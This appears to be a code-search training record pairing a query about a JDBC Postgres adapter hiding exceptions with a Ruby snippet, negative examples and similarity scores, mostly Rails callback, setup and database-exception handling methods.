"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def contact_params
params.require(:contact).permit!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
For details on the DSL available within this file, see
|
def create
post = Post.new
post.title = params[:title]
post.description = params[:description]
post.save
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parser\n dsl.parser\n end",
"def initialize(_dsl)\n @dsl = _dsl\n end",
"def dsl_eval(dsl, *args, **_arg2, &block); end",
"def definition_builder; end",
"def definition_builder; end",
"def include_dsl_modules\nend",
"def builder; end",
"def builder; end",
"def builder; end",
"def _to_dsl_proxy\n self\n end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def body; end",
"def helpers\n dsl.helpers\n end",
"def dsl\n @dsl ||= Nanoc3::CompilerDSL.new(self)\n end",
"def dsl\n @dsl ||= Nanoc3::CompilerDSL.new(self)\n end",
"def doc; end",
"def doc; end",
"def doc; end",
"def doc; end",
"def dsl_eval(block)\n @dsl ||= DSL.new(self)\n @dsl.instance_eval(&block)\n self\n end",
"def dsl\n Nanoc::CompilerDSL.new(self, @compiler.site.config)\n end",
"def DefDsl! *black_list\n Module.new do\n define_singleton_method :extended do |target|\n target.send :extend, DefDsl\n target.def_dsl *black_list\n end\n end\nend",
"def dsl(&block)\n Polymer::DSL.build(project_dir, &block)\n end",
"def dsl(options = {}, &block)\n dsl = DSL::GroupDSL.new(self, options)\n dsl.instance_eval(&block)\n dsl\n end",
"def docs; end",
"def definition\n super\n end",
"def definition\n super\n end",
"def initialize(&block)\n unload\n @environment = 'development'\n @load_directories = []\n @dsl = Moonrope::DSL::BaseDSL.new(self)\n @dsl.instance_eval(&block) if block_given?\n end",
"def example(example) #:doc:\n return unless Apipie.active_dsl?\n Apipie.add_example(example)\n end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end",
"def build(&block)\n Util.instance_eval_or_call(dsl, &block)\n self\n end",
"def def_dsl trash = []\n DefDsl.traverse self, trash do |who|\n who.send :include, So\n who.send :include, Lazy if who.instance_eval { @lazy }\n\n DefDsl.shallow(who, trash).each do |mod|\n mini = mod.name.underscore # .....\n method = mod.instance_eval { @dsl } || mod.name.underscore\n\n who.module_eval do\n define_method method do |*a,&b|\n so [mini,method],*a,&b # artifact...\n end\n end\n # or check superclass if respond for meta_modules + test\n if who.class == Module\n who.send :module_function, method\n end\n end\n end\n end",
"def compile_dsl\n @registry.each_with_object(Class.new(DSL)) { |(name, processor), dsl|\n define_dsl_method(name, processor, dsl)\n }\n end",
"def method_missing(method_sym, *arguments, &_block)\n @dsl.send(method_sym, *arguments)\n end",
"def __dsl_execute(file = nil, &block)\n DSL.new(self, file, &block)\n end",
"def ruby_engine; end",
"def ruby_engine; end",
"def execute(&block)\n DSLHelper.new(Class => [:&, :|, :not]) do\n Kernel.load(File.join(File.dirname(__FILE__), 'dsl_ruby_extensions.rb'))\n self.instance_eval(&block)\n end\n end",
"def body()\n #This is a stub, used for indexing\n end",
"def patch\n dsl.instance_variable_get(:@patch)\nend",
"def dsl_eval_immutable(dsl, *args, **_arg2, &block); end",
"def dsl_eval_immutable(dsl, *args, **_arg2, &block); end",
"def methods() end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def make; end",
"def configure(&block); end",
"def configure(&block); end",
"def build_version_dsl\n @build_version_dsl\n end",
"def build_version_dsl\n @build_version_dsl\n end",
"def command_builder; end",
"def get_dsl \n dsl = @statements.join(\", \")\n dsl\n end",
"def method_builder; end",
"def define(&block)\n @definition ||= DSL.new(\n processor_type: self, parent: superclass.definition, **config, &block\n )\n self\n end",
"def initialize(*args)\n super\n _rewire_dsl! if node\n end",
"def parse(data, &block)\n parse_dsl(data, false, &block)\n end",
"def dsl_methods\n (Chef::Node.public_instance_methods +\n Chef::Mixin::RecipeDefinitionDSLCore.included_modules.map{|mixin| mixin.public_instance_methods}).flatten.sort.uniq\n end",
"def link_documentation; end",
"def base_docstring; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end"
] |
[
"0.67658156",
"0.64109945",
"0.63840574",
"0.63551563",
"0.63551563",
"0.63110185",
"0.62342376",
"0.62342376",
"0.62342376",
"0.61601335",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.615657",
"0.61082804",
"0.6093062",
"0.6093062",
"0.60120285",
"0.60120285",
"0.60120285",
"0.60120285",
"0.59805185",
"0.5952604",
"0.59015936",
"0.5893342",
"0.5862796",
"0.5829579",
"0.58000964",
"0.58000964",
"0.5795934",
"0.57887816",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.577411",
"0.57669103",
"0.57669103",
"0.5761389",
"0.57589644",
"0.5732554",
"0.57292324",
"0.5699158",
"0.5699158",
"0.56870955",
"0.565666",
"0.5656542",
"0.56378186",
"0.56378186",
"0.5606317",
"0.5599458",
"0.5599458",
"0.5599458",
"0.5599458",
"0.5573722",
"0.55668443",
"0.55668443",
"0.5562333",
"0.5562333",
"0.5539413",
"0.55261564",
"0.5521834",
"0.5521612",
"0.55097896",
"0.55066794",
"0.54963773",
"0.5492813",
"0.54826593",
"0.5480337",
"0.5480337",
"0.5480337",
"0.5480337"
] |
0.0
|
-1
|
this is a workaround for jdbc postgres adapter hiding exceptions
|
def record_internal_exception
yield
rescue => e
@internal_exception = e
raise
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def jdbc_exception; @jdbc_exception end",
"def recoverable?; jdbc_exception.is_a?(Java::JavaSql::SQLRecoverableException) end",
"def transient?; jdbc_exception.is_a?(Java::JavaSql::SQLTransientException) end",
"def sql_state; jdbc_exception ? jdbc_exception.getSQLState : nil end",
"def safe_rescue_exception?(exception)\n # Exceptions to be safe rescued\n errors = [\n { :type => PG::UniqueViolation, :messages => [\"ERROR: duplicate key value violates unique constraint\"] }, # Happens when primary key (id) is overwritten with where or create_with value\n { :type => PG::InvalidParameterValue, :messages => [\"ERROR: invalid hexadecimal digit\"] }, # Happens when setting binary_col with invalid values (usually when not going through Active Record, for example with update_columns/update_column)\n { :type => PG::InvalidTextRepresentation, :messages => [\"ERROR: invalid input syntax for type\"] }, # Happens when setting columns with special types (for example booleans or decimals) with invalid values (usually when not going through Active Record, for example with update_columns/update_column)\n { :type => PG::InvalidTextRepresentation, :messages => [\"ERROR: invalid input syntax for integer\"] }, # Happens when setting integer columns with invalid values (usually when not going through Active Record, for example with update_columns/update_column)\n { :type => PG::InvalidDatetimeFormat, :messages => [\"ERROR: invalid input syntax for type\"] }, # Happens when setting datetime columns with invalid values (usually when not going through Active Record, for example with update_columns/update_column)\n { :type => PG::DatetimeFieldOverflow, :messages => [\"ERROR: date/time field value out of range\"] }, # Happens when setting datetime columns with values without range, for example the value 0 (usually when not going through Active Record, for example with update_columns/update_column)\n { :type => PG::SyntaxError, :messages => [\"ERROR: syntax error at or near \\\"DISTINCT\\\"\", \"DISTINCT DISTINCT\"] }, # This is necessary due to a bug in Rails finder options when setting a limit, distinct true and eager_load on has_many or has_and_belongs_to_many\n { :type => PG::AmbiguousColumn, :messages => [\"ERROR: column reference \\\"id\\\" is ambiguous\"] }, # Happens when setting a value for finder option having while also setting a value for finder option eager_load or joins (it is probable expecting a different input format for having then)\n { :type => ActiveRecord::RecordNotFound, :messages => [] }, # Happens when we try to find a non-existing record (for example by using the find method with an unknown id)\n { :type => ActiveRecord::ConfigurationError, :messages => [\"Association named\", \"was not found\"] }, # Happens when trying to set an association method (for example includes) with an invalid association name\n { :type => ArgumentError, :messages => [\"invalid value for Integer()\"] }, # Happens when setting an invalid value for the limit finder option\n { :type => ArgumentError, :messages => [\"argument out of range\"] }, # Happens when setting an very small or very large value (such as 0000-00-00 00:00:00) for a datetime field (and possibly other fields)\n ]\n errors.each do |error|\n if exception.is_a?(error[:type])\n match = true\n error[:messages].each do |message|\n unless exception.message.scan(message).present?\n match = false\n break\n end\n end\n return true if match\n end\n end\n false\n end",
"def disconnect_error?(exception, opts)\n super || exception.message =~ /\\A(Java::JavaSql::SQLException: )?org\\.apache\\.thrift\\.transport\\.TTransportException: java\\.net\\.SocketException/\n end",
"def database_exception_use_sqlstates?\n false\n end",
"def database_exception_use_sqlstates?\n false\n end",
"def handle_sql_exception(ex, sql = nil)\n error \"DB error #{ex}, [#{sql}]\"\n error ex.backtrace.join(\"\\n\")\n raise StoreException.new(ex, sql) if Og.raise_store_exceptions\n\n # FIXME: should return :error or something.\n return nil\n end",
"def database_exception_sqlstate(exception, opts)\n nil\n end",
"def catch_exceptions; end",
"def underlying_exception; end",
"def prepare_sql; raise \"Define #prepare_sql in your subclass\"; end",
"def exceptions; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def abort_on_exception(*) end",
"def original_exception; end",
"def postgresql_not_unique_error_class\n /(PG::UniqueViolation)|(ActiveRecord::RecordNotUnique)|(ActiveRecord::JDBCError)/\n end",
"def abort_on_exception=(*) end",
"def foreign_key_error?(exception)\n exception.message =~ /query does not return ResultSet/\n end",
"def is_exception?; end",
"def hijack_db\n ActiveRecord::Base.establish_connection(\n :adapter => ENV['YAPTESTFE_DBTYPE'],\n :host => ENV['YAPTESTFE_DBIP'],\n :port => ENV['YAPTESTFE_DBPORT'].to_i,\n :username => ENV['YAPTESTFE_DBUSER'],\n :password => ENV['YAPTESTFE_DBPASS'],\n :database => ENV['YAPTESTFE_DBNAME']\n ) \n begin # catch db connection errors\n if not ActiveRecord::Base.connection.active?\n render :template => 'help/dberror', :layout => false\n end\n rescue PGError => msg\n logger.info \"DBERROR: #{msg}\"\n render :template => 'help/dberror', :layout => false\n end\n end",
"def wrapped_exception; end",
